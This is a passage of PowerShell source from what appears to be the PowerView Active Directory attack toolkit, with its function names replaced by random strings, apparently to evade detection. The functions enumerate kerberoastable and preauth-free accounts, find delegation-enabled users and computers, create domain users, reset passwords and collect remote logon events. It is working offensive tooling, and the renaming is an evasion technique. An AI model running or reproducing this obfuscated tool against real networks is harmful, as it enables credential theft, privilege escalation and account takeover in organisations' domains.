} | |
else { | |
Write-Verbose "[B065SR8C] Using the default reference property set for the object class '$ClassName'" | |
} | |
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { | |
$Objects = C52BTCXM @SearcherArguments | |
if (-not $ReferenceObjectProperties) { | |
$ReferenceObjectProperties = $UserReferencePropertySet | |
} | |
} | |
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { | |
$Objects = MPOE9M0D @SearcherArguments | |
if (-not $ReferenceObjectProperties) { | |
$ReferenceObjectProperties = $GroupReferencePropertySet | |
} | |
} | |
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { | |
$Objects = 7M60VMOB @SearcherArguments | |
if (-not $ReferenceObjectProperties) { | |
$ReferenceObjectProperties = $ComputerReferencePropertySet | |
} | |
} | |
else { | |
throw "[B065SR8C] Invalid class: $ClassName" | |
} | |
ForEach ($Object in $Objects) { | |
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name | |
ForEach($ObjectProperty in $ObjectProperties) { | |
if ($ReferenceObjectProperties -NotContains $ObjectProperty) { | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName | |
$Out | Add-Member Noteproperty 'Property' $ObjectProperty | |
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') | |
$Out | |
} | |
} | |
} | |
} | |
} | |
function C52BTCXM { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.User')] | |
[OutputType('PowerView.User.Raw')] | |
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[Switch] | |
$SPN, | |
[Switch] | |
$AdminCount, | |
[Parameter(ParameterSetName = 'AllowDelegation')] | |
[Switch] | |
$AllowDelegation, | |
[Parameter(ParameterSetName = 'DisallowDelegation')] | |
[Switch] | |
$DisallowDelegation, | |
[Switch] | |
$TrustedToAuth, | |
[Alias('KerberosPreauthNotRequired', 'NoPreauth')] | |
[Switch] | |
$PreauthNotRequired, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
DynamicParam { | |
$UACValueNames = [Enum]::GetNames($UACEnum) | |
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} | |
Y29S8XBN -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) | |
} | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$UserSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { | |
Y29S8XBN -CreateVariables -BoundParameters $PSBoundParameters | |
} | |
if ($UserSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^CN=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[C52BTCXM] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$UserSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $UserSearcher) { | |
Write-Warning "[C52BTCXM] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('\')) { | |
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentityInstance) { | |
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
$UserName = $IdentityInstance.Split('\')[1] | |
$IdentityFilter += "(samAccountName=$UserName)" | |
$SearcherArguments['Domain'] = $UserDomain | |
Write-Verbose "[C52BTCXM] Extracted domain '$UserDomain' from '$IdentityInstance'" | |
$UserSearcher = 4I4THHU7 @SearcherArguments | |
} | |
} | |
else { | |
$IdentityFilter += "(samAccountName=$IdentityInstance)" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['SPN']) { | |
Write-Verbose '[C52BTCXM] Searching for non-null service principal names' | |
$Filter += '(servicePrincipalName=*)' | |
} | |
if ($PSBoundParameters['AllowDelegation']) { | |
Write-Verbose '[C52BTCXM] Searching for users who can be delegated' | |
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' | |
} | |
if ($PSBoundParameters['DisallowDelegation']) { | |
Write-Verbose '[C52BTCXM] Searching for users who are sensitive and not trusted for delegation' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' | |
} | |
if ($PSBoundParameters['AdminCount']) { | |
Write-Verbose '[C52BTCXM] Searching for adminCount=1' | |
$Filter += '(admincount=1)' | |
} | |
if ($PSBoundParameters['TrustedToAuth']) { | |
Write-Verbose '[C52BTCXM] Searching for users that are trusted to authenticate for other principals' | |
$Filter += '(msds-allowedtodelegateto=*)' | |
} | |
if ($PSBoundParameters['PreauthNotRequired']) { | |
Write-Verbose '[C52BTCXM] Searching for user accounts that do not require kerberos preauthenticate' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[C52BTCXM] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$UACFilter | Where-Object {$_} | ForEach-Object { | |
if ($_ -match 'NOT_.*') { | |
$UACField = $_.Substring(4) | |
$UACValue = [Int]($UACEnum::$UACField) | |
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" | |
} | |
else { | |
$UACValue = [Int]($UACEnum::$_) | |
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" | |
} | |
} | |
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" | |
Write-Verbose "[C52BTCXM] filter string: $($UserSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } | |
else { $Results = $UserSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$User = $_ | |
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') | |
} | |
else { | |
$User = Convert-LDAPProperty -Properties $_.Properties | |
$User.PSObject.TypeNames.Insert(0, 'PowerView.User') | |
} | |
$User | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[C52BTCXM] Error disposing of the Results object: $_" | |
} | |
} | |
$UserSearcher.dispose() | |
} | |
} | |
} | |
function 8SFURI0X { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')] | |
Param( | |
[Parameter(Mandatory = $True)] | |
[ValidateLength(0, 256)] | |
[String] | |
$SamAccountName, | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[Alias('Password')] | |
[Security.SecureString] | |
$AccountPassword, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Name, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$DisplayName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Description, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$ContextArguments = @{ | |
'Identity' = $SamAccountName | |
} | |
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } | |
$Context = T8NPHIYY @ContextArguments | |
if ($Context) { | |
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) | |
$User.SamAccountName = $Context.Identity | |
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) | |
$User.SetPassword($TempCred.GetNetworkCredential().Password) | |
$User.Enabled = $True | |
$User.PasswordNotRequired = $False | |
if ($PSBoundParameters['Name']) { | |
$User.Name = $Name | |
} | |
else { | |
$User.Name = $Context.Identity | |
} | |
if ($PSBoundParameters['DisplayName']) { | |
$User.DisplayName = $DisplayName | |
} | |
else { | |
$User.DisplayName = $Context.Identity | |
} | |
if ($PSBoundParameters['Description']) { | |
$User.Description = $Description | |
} | |
Write-Verbose "[8SFURI0X] Attempting to create user '$SamAccountName'" | |
try { | |
$Null = $User.Save() | |
Write-Verbose "[8SFURI0X] User '$SamAccountName' successfully created" | |
$User | |
} | |
catch { | |
Write-Warning "[8SFURI0X] Error creating user '$SamAccountName' : $_" | |
} | |
} | |
} | |
function O8W05XG9 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[Alias('UserName', 'UserIdentity', 'User')] | |
[String] | |
$Identity, | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[Alias('Password')] | |
[Security.SecureString] | |
$AccountPassword, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$ContextArguments = @{ 'Identity' = $Identity } | |
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } | |
$Context = T8NPHIYY @ContextArguments | |
if ($Context) { | |
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) | |
if ($User) { | |
Write-Verbose "[O8W05XG9] Attempting to set the password for user '$Identity'" | |
try { | |
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) | |
$User.SetPassword($TempCred.GetNetworkCredential().Password) | |
$Null = $User.Save() | |
Write-Verbose "[O8W05XG9] Password for user '$Identity' successfully reset" | |
} | |
catch { | |
Write-Warning "[O8W05XG9] Error setting password for user '$Identity' : $_" | |
} | |
} | |
else { | |
Write-Warning "[O8W05XG9] Unable to find user '$Identity'" | |
} | |
} | |
} | |
function C52BTCXMEvent { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.LogonEvent')] | |
[OutputType('PowerView.ExplicitCredentialLogonEvent')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('dnshostname', 'HostName', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = $Env:COMPUTERNAME, | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$StartTime = [DateTime]::Now.AddDays(-1), | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$EndTime = [DateTime]::Now, | |
[ValidateRange(1, 1000000)] | |
[Int] | |
$MaxEvents = 5000, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$XPathFilter = @" | |
<QueryList> | |
<Query Id="0" Path="Security"> | |
<!-- Logon events --> | |
<Select Path="Security"> | |
*[ | |
System[ | |
Provider[ | |
@Name='Microsoft-Windows-Security-Auditing' | |
] | |
and (Level=4 or Level=0) and (EventID=4624) | |
and TimeCreated[ | |
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' | |
] | |
] | |
] | |
and | |
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']] | |
</Select> | |
<!-- Logon with explicit credential events --> | |
<Select Path="Security"> | |
*[ | |
System[ | |
Provider[ | |
@Name='Microsoft-Windows-Security-Auditing' | |
] | |
and (Level=4 or Level=0) and (EventID=4648) | |
and TimeCreated[ | |
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' | |
] | |
] | |
] | |
</Select> | |
<Suppress Path="Security"> | |
*[ | |
System[ | |
Provider[ | |
@Name='Microsoft-Windows-Security-Auditing' | |
] | |
and | |
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) | |
] | |
] | |
and | |
*[ | |
EventData[ | |
( | |
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') | |
or | |
Data[@Name='TargetUserName']='ANONYMOUS LOGON' | |
or | |
Data[@Name='TargetUserSID']='S-1-5-18' | |
) | |
] | |
] | |
</Suppress> | |
</Query> | |
</QueryList> | |
"@ | |
$EventArguments = @{ | |
'FilterXPath' = $XPathFilter | |
'LogName' = 'Security' | |
'MaxEvents' = $MaxEvents | |
} | |
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$EventArguments['ComputerName'] = $Computer | |
Get-WinEvent @EventArguments| ForEach-Object { | |
$Event = $_ | |
$Properties = $Event.Properties | |
Switch ($Event.Id) { | |
4624 { | |
if(-not $Properties[5].Value.EndsWith('$')) { | |
$Output = New-Object PSObject -Property @{ | |
ComputerName = $Computer | |
TimeCreated = $Event.TimeCreated | |
EventId = $Event.Id | |
SubjectUserSid = $Properties[0].Value.ToString() | |
SubjectUserName = $Properties[1].Value | |
SubjectDomainName = $Properties[2].Value | |
SubjectLogonId = $Properties[3].Value | |
TargetUserSid = $Properties[4].Value.ToString() | |
TargetUserName = $Properties[5].Value | |
TargetDomainName = $Properties[6].Value | |
TargetLogonId = $Properties[7].Value | |
LogonType = $Properties[8].Value | |
LogonProcessName = $Properties[9].Value | |
AuthenticationPackageName = $Properties[10].Value | |
WorkstationName = $Properties[11].Value | |
LogonGuid = $Properties[12].Value | |
TransmittedServices = $Properties[13].Value | |
LmPackageName = $Properties[14].Value | |
KeyLength = $Properties[15].Value | |
ProcessId = $Properties[16].Value | |
ProcessName = $Properties[17].Value | |
IpAddress = $Properties[18].Value | |
IpPort = $Properties[19].Value | |
ImpersonationLevel = $Properties[20].Value | |
RestrictedAdminMode = $Properties[21].Value | |
TargetOutboundUserName = $Properties[22].Value | |
TargetOutboundDomainName = $Properties[23].Value | |
VirtualAccount = $Properties[24].Value | |
TargetLinkedLogonId = $Properties[25].Value | |
ElevatedToken = $Properties[26].Value | |
} | |
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') | |
$Output | |
} | |
} | |
4648 { | |
if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { | |
$Output = New-Object PSObject -Property @{ | |
ComputerName = $Computer | |
TimeCreated = $Event.TimeCreated | |
EventId = $Event.Id | |
SubjectUserSid = $Properties[0].Value.ToString() | |
SubjectUserName = $Properties[1].Value | |
SubjectDomainName = $Properties[2].Value | |
SubjectLogonId = $Properties[3].Value | |
LogonGuid = $Properties[4].Value.ToString() | |
TargetUserName = $Properties[5].Value | |
TargetDomainName = $Properties[6].Value | |
TargetLogonGuid = $Properties[7].Value | |
TargetServerName = $Properties[8].Value | |
TargetInfo = $Properties[9].Value | |
ProcessId = $Properties[10].Value | |
ProcessName = $Properties[11].Value | |
IpAddress = $Properties[12].Value | |
IpPort = $Properties[13].Value | |
} | |
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') | |
$Output | |
} | |
} | |
default { | |
Write-Warning "No handler exists for event ID: $($Event.Id)" | |
} | |
} | |
} | |
} | |
} | |
} | |
function 9MLE7JJS { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([Hashtable])] | |
[CmdletBinding()] | |
Param ( | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} | |
$ForestArguments = @{} | |
if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } | |
try { | |
$SchemaPath = (Get-Forest @ForestArguments).schema.name | |
} | |
catch { | |
throw '[9MLE7JJS] Error in retrieving forest schema path from Get-Forest' | |
} | |
if (-not $SchemaPath) { | |
throw '[9MLE7JJS] Error in retrieving forest schema path from Get-Forest' | |
} | |
$SearcherArguments = @{ | |
'SearchBase' = $SchemaPath | |
'LDAPFilter' = '(schemaIDGUID=*)' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$SchemaSearcher = 4I4THHU7 @SearcherArguments | |
if ($SchemaSearcher) { | |
try { | |
$Results = $SchemaSearcher.FindAll() | |
$Results | Where-Object {$_} | ForEach-Object { | |
$GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[9MLE7JJS] Error disposing of the Results object: $_" | |
} | |
} | |
$SchemaSearcher.dispose() | |
} | |
catch { | |
Write-Verbose "[9MLE7JJS] Error in building GUID map: $_" | |
} | |
} | |
$SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') | |
$SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' | |
$RightsSearcher = 4I4THHU7 @SearcherArguments | |
if ($RightsSearcher) { | |
try { | |
$Results = $RightsSearcher.FindAll() | |
$Results | Where-Object {$_} | ForEach-Object { | |
$GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[9MLE7JJS] Error disposing of the Results object: $_" | |
} | |
} | |
$RightsSearcher.dispose() | |
} | |
catch { | |
Write-Verbose "[9MLE7JJS] Error in building GUID map: $_" | |
} | |
} | |
$GUIDs | |
} | |
function 7M60VMOB { | |
[OutputType('PowerView.Computer')] | |
[OutputType('PowerView.Computer.Raw')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('SamAccountName', 'Name', 'DNSHostName')] | |
[String[]] | |
$Identity, | |
[Switch] | |
$Unconstrained, | |
[Switch] | |
$TrustedToAuth, | |
[Switch] | |
$Printers, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePrincipalName')] | |
[String] | |
$SPN, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$OperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ServicePack, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$SiteName, | |
[Switch] | |
$Ping, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
DynamicParam { | |
$UACValueNames = [Enum]::GetNames($UACEnum) | |
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} | |
Y29S8XBN -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) | |
} | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$CompSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { | |
Y29S8XBN -CreateVariables -BoundParameters $PSBoundParameters | |
} | |
if ($CompSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^CN=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[7M60VMOB] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$CompSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $CompSearcher) { | |
Write-Warning "[7M60VMOB] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance.Contains('.')) { | |
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
else { | |
$IdentityFilter += "(name=$IdentityInstance)" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['Unconstrained']) { | |
Write-Verbose '[7M60VMOB] Searching for computers with for unconstrained delegation' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' | |
} | |
if ($PSBoundParameters['TrustedToAuth']) { | |
Write-Verbose '[7M60VMOB] Searching for computers that are trusted to authenticate for other principals' | |
$Filter += '(msds-allowedtodelegateto=*)' | |
} | |
if ($PSBoundParameters['Printers']) { | |
Write-Verbose '[7M60VMOB] Searching for printers' | |
$Filter += '(objectCategory=printQueue)' | |
} | |
if ($PSBoundParameters['SPN']) { | |
Write-Verbose "[7M60VMOB] Searching for computers with SPN: $SPN" | |
$Filter += "(servicePrincipalName=$SPN)" | |
} | |
if ($PSBoundParameters['OperatingSystem']) { | |
Write-Verbose "[7M60VMOB] Searching for computers with operating system: $OperatingSystem" | |
$Filter += "(operatingsystem=$OperatingSystem)" | |
} | |
if ($PSBoundParameters['ServicePack']) { | |
Write-Verbose "[7M60VMOB] Searching for computers with service pack: $ServicePack" | |
$Filter += "(operatingsystemservicepack=$ServicePack)" | |
} | |
if ($PSBoundParameters['SiteName']) { | |
Write-Verbose "[7M60VMOB] Searching for computers with site name: $SiteName" | |
$Filter += "(serverreferencebl=$SiteName)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[7M60VMOB] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$UACFilter | Where-Object {$_} | ForEach-Object { | |
if ($_ -match 'NOT_.*') { | |
$UACField = $_.Substring(4) | |
$UACValue = [Int]($UACEnum::$UACField) | |
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" | |
} | |
else { | |
$UACValue = [Int]($UACEnum::$_) | |
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" | |
} | |
} | |
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" | |
Write-Verbose "[7M60VMOB] 7M60VMOB filter string: $($CompSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } | |
else { $Results = $CompSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Up = $True | |
if ($PSBoundParameters['Ping']) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname | |
} | |
if ($Up) { | |
if ($PSBoundParameters['Raw']) { | |
$Computer = $_ | |
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') | |
} | |
else { | |
$Computer = Convert-LDAPProperty -Properties $_.Properties | |
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') | |
} | |
$Computer | |
} | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
